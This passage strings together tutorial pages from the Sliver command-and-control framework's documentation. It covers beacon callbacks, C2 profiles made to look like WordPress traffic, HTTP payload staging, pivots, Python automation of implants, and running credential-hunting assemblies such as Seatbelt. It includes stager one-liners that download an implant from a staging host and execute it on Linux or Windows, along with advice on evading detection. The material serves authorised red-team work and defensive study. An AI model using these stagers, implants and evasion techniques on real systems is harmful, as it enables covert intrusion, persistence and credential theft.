Sessions provide interactive communication with the server; connection and polling behavior depend on the selected transport. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.

Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.

Let’s start with generating and deploying a beacon using `http`.

```asciinema
{"src": "/asciinema/beacon_generation.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

You can see the beacon callback times either in the `info` command or using `beacons watch`.

```bash
[server] sliver > beacons watch

 ID         Name            Transport   Username          Operating System   Last Check-In   Next Check-In
========== =============== =========== ================= ================== =============== ===============
 942c647c   TIRED_GIRAFFE   http(s)     tester   darwin/amd64       52s             12s

```

Beacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.

The example below sets the callback time to 5s with a 1s jitter.

```bash
[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s

[*] Tasked beacon TIRED_GIRAFFE (b8aa6fd8)

[+] TIRED_GIRAFFE completed task b8aa6fd8

[*] Reconfigured beacon

[server] sliver (TIRED_GIRAFFE) > info

         Beacon ID: 942c647c-8409-4877-9fa2-b84a7f27ad45
              Name: TIRED_GIRAFFE
          Hostname: tester.local
              UUID: c6de1a44-016a-5fbe-b76a-da56af41316d
          Username: tester
               UID: 501
               GID: 20
               PID: 55879
                OS: darwin
           Version:
            Locale:
              Arch: amd64
         Active C2: https://127.0.0.1
    Remote Address: 127.0.0.1:51803
         Proxy URL:
          Interval: 1m0s
            Jitter: 30s
     First Contact: Wed Apr 19 01:14:21 CEST 2023 (10m30s ago)
      Last Checkin: Wed Apr 19 01:18:20 CEST 2023 (6m31s ago)
      Next Checkin: Wed Apr 19 01:19:46 CEST 2023 (5m5s ago)
```

Commands issued for beacons can be viewed using `tasks`, the task state will indicate whether the command has completed or not.  The results of previously run tasks can be viewed using `tasks fetch`.

```asciinema
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

Session can be spun up in our beacon process using the `interactive` command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process.

```asciinema
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.

Let’s switch to our newly created session and spin-up a `socks5` proxy.

```bash

[server] sliver (TIRED_GIRAFFE) > use

? Select a session or beacon: SESSION  131a60b9  TIRED_GIRAFFE  127.0.0.1:51969  tester.local  tester  darwin/amd64
[*] Active session TIRED_GIRAFFE (131a60b9-db4f-4913-9064-18a17a0f09ab)

[server] sliver (TIRED_GIRAFFE) > socks5 start

[*] Started SOCKS5 127.0.0.1 1081
⚠️  In-band SOCKS proxies can be a little unstable depending on protocol
```

You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.

Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the `close` command.

---

### Sliver Docs Pages Tutorials Md 3   C2 Profiles And Configuration (`docs/sliver-docs/pages/tutorials/md/3 - C2 Profiles and configuration.md`)

When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.

For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.

C2 profile configurations can be seen using the `c2profile` command, which also has import and export features.

The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.

Lets imagine we’re trying to breach a customer and want to look like we're talking to Wordpress.
We would want to update the session messages and staging with something more realistic and replace all references to `woff` for example with something less suspicious like `css`, `js` or `php`.

We would also use a list of common Urls and filenames for Wordpress like `https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt` for the `files` and `paths` variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way.

You can use `c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i` to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile. 

At this point we can generate a new implant using our new profile.

```asciinema
{"src": "/asciinema/implant_custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

If we review the debug logs of our implant we can see that the connections now use our new profile.

```asciinema
{"src": "/asciinema/implant_debug_logs.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
```

Ideally during engagements your recon phase should inform your C2 infrastructure, reusing similar hosting providers, technologies and communication protocols can help your implant fly under the radar.

---

### Sliver Docs Pages Tutorials Md 4   HTTP Payload Staging (`docs/sliver-docs/pages/tutorials/md/4 - HTTP Payload staging.md`)

When using Sliver during a live engagement, you’re going to need to use custom stagers, which are essentially a first binary or commandline that will retrieve and/or load Sliver into memory on your target system. Sliver can generate shellcode for your stager to execute by using the `profiles` command.

For this exercise, we will create a new beacon profile and prepare to stage it.

```asciinema
{"src": "/asciinema/create_profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
```
https://sliver-ip/definitely/not/malware?x=yourID
```

There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
* There has to be http url parameter containing the implant ID
* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values

To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.

```asciinema
{"src": "/asciinema/stage_implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

At this point we can try retrieving our implant. The ID is 19778.

```asciinema
{"src": "/asciinema/implant_curl.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

Sliver staging also supports encoding or encrypting our payloads before exposing them externally using the `profile stage` command, the implant configuration remains the same but you are now able to stage different versions of it simultaneously.

```asciinema
{"src": "/asciinema/stage_compress_encrypt.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

A simple stager could look like this, for example in Linux:

```
curl http://localhost/nothingtoseehere.yml?c=1234 --output nothingtoseehere && chmod u+x nothingtoseehere &&nohup ./nothingtoseehere
```

Or on Windows:
```
curl http://172.20.10.3/test.woff?a=29178 -o t.exe && .\t.exe
```

---

### Sliver Docs Pages Tutorials Md 5   Pivots (`docs/sliver-docs/pages/tutorials/md/5 - Pivots.md`)

Pivots allow routing implant traffic through other implants. This can be useful in environments that don’t have any outbound access, but are reachable from other parts of the network that you have access to.

Sliver supports two types of pivots: TCP, which can be used on all operating systems, and named pipes, which are Windows-only.

In both cases the workflow is relatively similar, as a first step, select a session and set up a pivot listener.

```bash
[server] sliver (INNER_GO-KART) > pivots tcp

[*] Started tcp pivot listener :9898 with id 1

[server] sliver (INNER_GO-KART) > pivots

 ID   Protocol   Bind Address   Number Of Pivots
==== ========== ============== ==================
  1   TCP        :9898                         0
```

The listening port and interface can be configured during creation.

The next step is to generate a payload that will connect to our listener.

```bash
[server] sliver (INNER_GO-KART) > generate --tcp-pivot 127.0.0.1 --os macos

[*] Generating new darwin/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 12s
[*] Implant saved to /Users/tester/tools/VALUABLE_SICK
```

Executing this payload will cause it to connect back through our original implant and then back to our C2 server.

```asciinema
{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

As mentionned before named pipe pivots use a similar process, first you need to create a listener:

```bash
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar

[*] Started named pipe pivot listener \\.\pipe\foobar with id 1

```

You can then generate an implant connecting to it 

```bash
sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar

[*] Generating new windows/amd64 implant binary
[*] Build completed in 1s
[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exe
```

---

### Sliver Docs Pages Tutorials Md 6   Scripting (`docs/sliver-docs/pages/tutorials/md/6 - Scripting.md`)

Reactions are a basic way to automate tasks in the sliver console, they allow you to specify sliver commands to run on a list of events.

```bash
Reactable Events:
   session-connected  Triggered when a new session is opened to a target
     session-updated  Triggered on changes to session metadata
session-disconnected  Triggered when a session is closed (for any reason)
              canary  Triggered when a canary is burned or created
          watchtower  Triggered when implants are discovered on threat intel platforms
          loot-added  Triggered when a new piece of loot is added to the server
        loot-removed  Triggered when a piece of loot is removed from the server
```

Let’s go ahead and create a reaction to list the current directory and environment variables when a new session checks in.

```bash
reaction set -e "session-connected"

[*] Setting reaction to: Session Opened

? Enter commands:  [Enter 2 empty lines to finish]pwd
env
? Enter commands:
pwd
env

[*] Set reaction to session-connected (id: 1)
```

The reaction is now set, if you spin up a new session these commands will be automatically run on that session’s initial connection.

```bash
[*] Session 99c7a639 UNEXPECTED_PORTER - 127.0.0.1:59966 (test.local) - darwin/amd64 - Thu, 04 May 2023 09:04:58 CEST

[*] Execute reaction: 'pwd'

[*] /Users/tester

[*] Execute reaction: 'env'

PWD=/Users/tester
COLORTERM=truecolor
...
```

You can remove reactions using `reaction unset`.

However, there are a couple of limitations to keep in mind when using reactions, first off, these are run in the console you are currently using, which is not necessarily the server console. So if you are connected to a sliver server using the sliver client, if you disconnect the client the reactions are no longer running. 

Secondly reactions are a relatively basic mechanism, you can’t use any conditional statements or more complex background tasks with them. For more complex use-cases you can instead write your own client in Python or Typescript for example to connect to the server over gRPC, which we’ll cover next.

## Sliver-py

For the purposes of this tutorial we’ll write our extensions using Python3, however the same result is achievable using Typescript, Golang or any other language that can handle gRPC.

First, install the sliver-py extension using pip.

```bash
pip3 install sliver-py
```

Since our extension is essentially going to be another client connection to the sliver server, you’ll also need to enable multiplayer mode and generate a new profile.

Sliver defaults to direct gRPC/mTLS multiplayer, which is compatible with this third-party Python client. Start the listener and generate the operator profile without the optional WireGuard flag:

```bash
[server] sliver > multiplayer

[*] Multiplayer mode enabled!

[server] sliver > new-operator -n tester -l 127.0.0.1 --permissions all

[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/tester/tools/tester_127.0.0.1.cfg
```

We now have everything we need to start writing our scripts, let’s run our first example interactively in a Python shell. 
We first need to import a few dependencies, `SliverClientConfig`, which is used to parse the client config we’ve just created, and `SliverClient`, which will handle the connection to the backend server.

```bash
Python 3.9.16 (main, Dec  7 2022, 10:06:04)
Type 'copyright', 'credits' or 'license' for more information
IPython 8.0.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from sliver import SliverClientConfig, SliverClient

In [2]: DEFAULT_CONFIG = "/Users/tester/tools/tester_127.0.0.1.cfg"

In [3]: config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)

In [4]: client = SliverClient(config)

In [5]: await client.connect()
Out[5]:
Major: 1
Minor: 5
Patch: 37
Commit: "0a43dc688ffb31a0a38511c47e8547a44a6918d4"
CompiledAt: 1681408237
OS: "darwin"
Arch: "arm64"
```

From this point on we can use the client object to interact with the server, let’s start with listing any sessions or beacons that might be currently connected.

```bash
In [6]: beacons = await client.beacons()

In [7]: sessions = await client.sessions()

In [8]: beacons
Out[8]: []

In [9]: sessions
Out[9]:
[ID: "f80ec897-0870-4f03-a1b1-364e5a0d243c"
 Name: "UNEXPECTED_PORTER"
 Hostname: "test.local"
 UUID: "c6de1a44-016a-5fbe-b76a-da56af41316d"
 Username: "tester"
 UID: "501"
 GID: "20"
 OS: "darwin"
 Arch: "amd64"
 Transport: "http(s)"
 RemoteAddress: "127.0.0.1:60218"
 PID: 74773
 Filename: "/Users/tester/tools/UNEXPECTED_PORTER"
 LastCheckin: 1683185925
 ActiveC2: "http://127.0.0.1"
 ReconnectInterval: 60000000000
 PeerID: 4416183373589698218
 FirstContact: 1683185429]
```

To run commands on this session you’ll need to create an InteractiveSession object.

```bash
In [10]: interact = await client.interact_session("f80ec897-0870-4f03-a1b1-364e5a0d243c")

In [11]: await interact.pwd()
Out[11]: Path: "/Users/tester"
```

Now that we’ve got the basics of connecting to sliver and running commands down let’s write a more useful script that will display the hosts file when a new session checks in. Our goal is to first identify the Operating System, and then based on that retrieve and display the contents of the hosts file if it exists. Because this script will wait and react to events emitted by the Sliver server, we’re going to use `asyncio` to write our client.

```bash
#!/usr/bin/env python3

import os
import asyncio
from sliver import SliverClientConfig, SliverClient
import gzip

DEFAULT_CONFIG = "/Users/tester/tools/neo_127.0.0.1.cfg"

async def main():
    ''' Client connect example '''
    config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
    client = SliverClient(config)
    await client.connect()

    async for event in client.on('session-connected'):
        print('Session %s just connected !' % event.Session.ID)

if __name__ == '__main__':
    loop = asyncio.get_event_loop()
    loop.run_until_complete(main())
```

As shown above we can access the session object through `event.Session`. Let’s go ahead and add a few conditions based on the operating system.

```bash
if event.Session.OS == "darwin":
            print('Session is running on macOS')

elif event.Session.OS == "Linux":
            print('Session is running on Linux')
elif event.Session.OS == "Windows"
            print('Session is running on Windows')
else:
            print('Session is running on %s', event.Session.OS)
```

Let’s set up an InteractiveSession object like previously.

```bash
interact = await client.interact_session(event.Session.ID)
```

We’re going to start with writing the code for Linux and macOS, since in their case the file is located in the same place. First we check if the file exists, then we download and decompress it to display its contents using gzip.

```bash
file_listing = await interact.ls("/etc/hosts")
if file_listing.Exists:
	gzipFile = await interact.download("/etc/hosts")
  contents = gzip.decompress(gzipFile.Data)
  print('%r' % contents)
```

The code for Windows is relatively similar the only major difference being the file location.

```bash
file_listing = await interact.ls("C:/Windows/System32/drivers/etc/hosts")
if file_listing.Exists:
	gzipFile = await interact.download("C:/Windows/System32/drivers/etc/hosts")
  contents = gzip.decompress(gzipFile.Data)
  print('%r' % contents)
```

If we run our script and spin up a few sessions we should start to see hosts files being retrieved.

```bash
python3.11 autocat.py
Automatically interacting with session 16338c85-b670-44ab-ac83-2df885654b07
b"# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# ...

Automatically interacting with session 93fcbab2-f00d-44a4-944a-e1ea8ec324e2
b'##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting.  Do not change this entry.\n##\n127.0.0.1...
```

---

### Sliver Docs Pages Tutorials Md 7   Assemblies And Bofs (`docs/sliver-docs/pages/tutorials/md/7 - Assemblies and Bofs.md`)

The Sliver armory is used to install and maintain third party extensions and aliases within sliver. The full list of available extensions can be found at https://github.com/sliverarmory/armory, keep in mind this is community maintained so not all modules are necessarily up to date. 

You can download all configured extensions/aliases using the armory command.

```bash
[server] sliver > armory install all
? Install 18 aliases and 84 extensions? Yes
[*] Installing alias 'SharpSecDump' (v0.0.1) ... done!
[*] Installing alias 'SharpChrome' (v0.0.1) ... done!
[*] Installing alias 'SharpDPAPI' (v0.0.1) ... done!
[*] Installing alias 'SharpMapExec' (v0.0.1) ... done!
[*] Installing alias 'KrbRelayUp' (v0.0.1) ... done!
[*] Installing alias 'SharpRDP' (v0.0.1) ... done!
[*] Installing alias 'SharpUp' (v0.0.1) ... done!
[*] Installing alias 'SharpView' (v0.0.1) ... done!
[*] Installing alias 'SharPersist' (v0.0.1) ... done!
[*] Installing alias 'Sharp WMI' (v0.0.2) ... done!
...
[*] All packages installed
```

These commands can then be used in the context of a session or beacon similarly to other commands, with a couple caveats.

Let’s go ahead and run our first assembly.

```bash
[server] sliver (UNABLE_PRIDE) > seatbelt " WindowsCredentialFiles"

[*] seatbelt output:

                        %&&@@@&&
                        &&&&&&&%%%,                       #&&@@@@@@%%%%%%###############%
                        &%&   %&%%                        &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%#######  %&%,,,,,,,,,,,,,,,,         @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%####################  &%%......  ...   ..         @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%#########  %%%......  ...   ..         @////(((&%%%%%#########################(#(#######((#####
###%##%%####################  &%%...............          @////(((&%%%%%%%%##############%#######(#########((#####
#####%######################  %%%..                       @////(((&%%%%%%%################
                        &%&   %%%%%      Seatbelt         %////(((&%%%%%%%%#############*
                        &%%&&&%%%%%        v1.1.1         ,(((&%%%%%%%%%%%%%%%%%,
                         #%%%%##,

====== WindowsCredentialFiles ======

  Folder : C:\Users\defaultuser0\AppData\Local\Microsoft\Credentials\

   ...
```

As you can see Sliver ran the Seatbelt assembly and provided us with the output of our command.

## Bof’s

The transcript below shows the legacy COFF Loader path. Current Sliver supports built-in Reflektor execution, with legacy loader compatibility depending on the package and component versions. See [BOF and COFF Support](/docs?name=BOF+and+COFF+Support) for current behavior.

```
/* Detailed source-code truncated for AI context efficiency. */
```

Since these payloads are run in-process, they have similar advantages and drawbacks as in-process assemblies, meaning no new processes are spawned on execution, but a crash risks losing the implant.

---

--- METRICS ---
- Files Extracted: 56
- Estimated Token Budget: ~63960 tokens
- Canonical Reference: https://codewiki.google/github.com/BishopFox/sliver
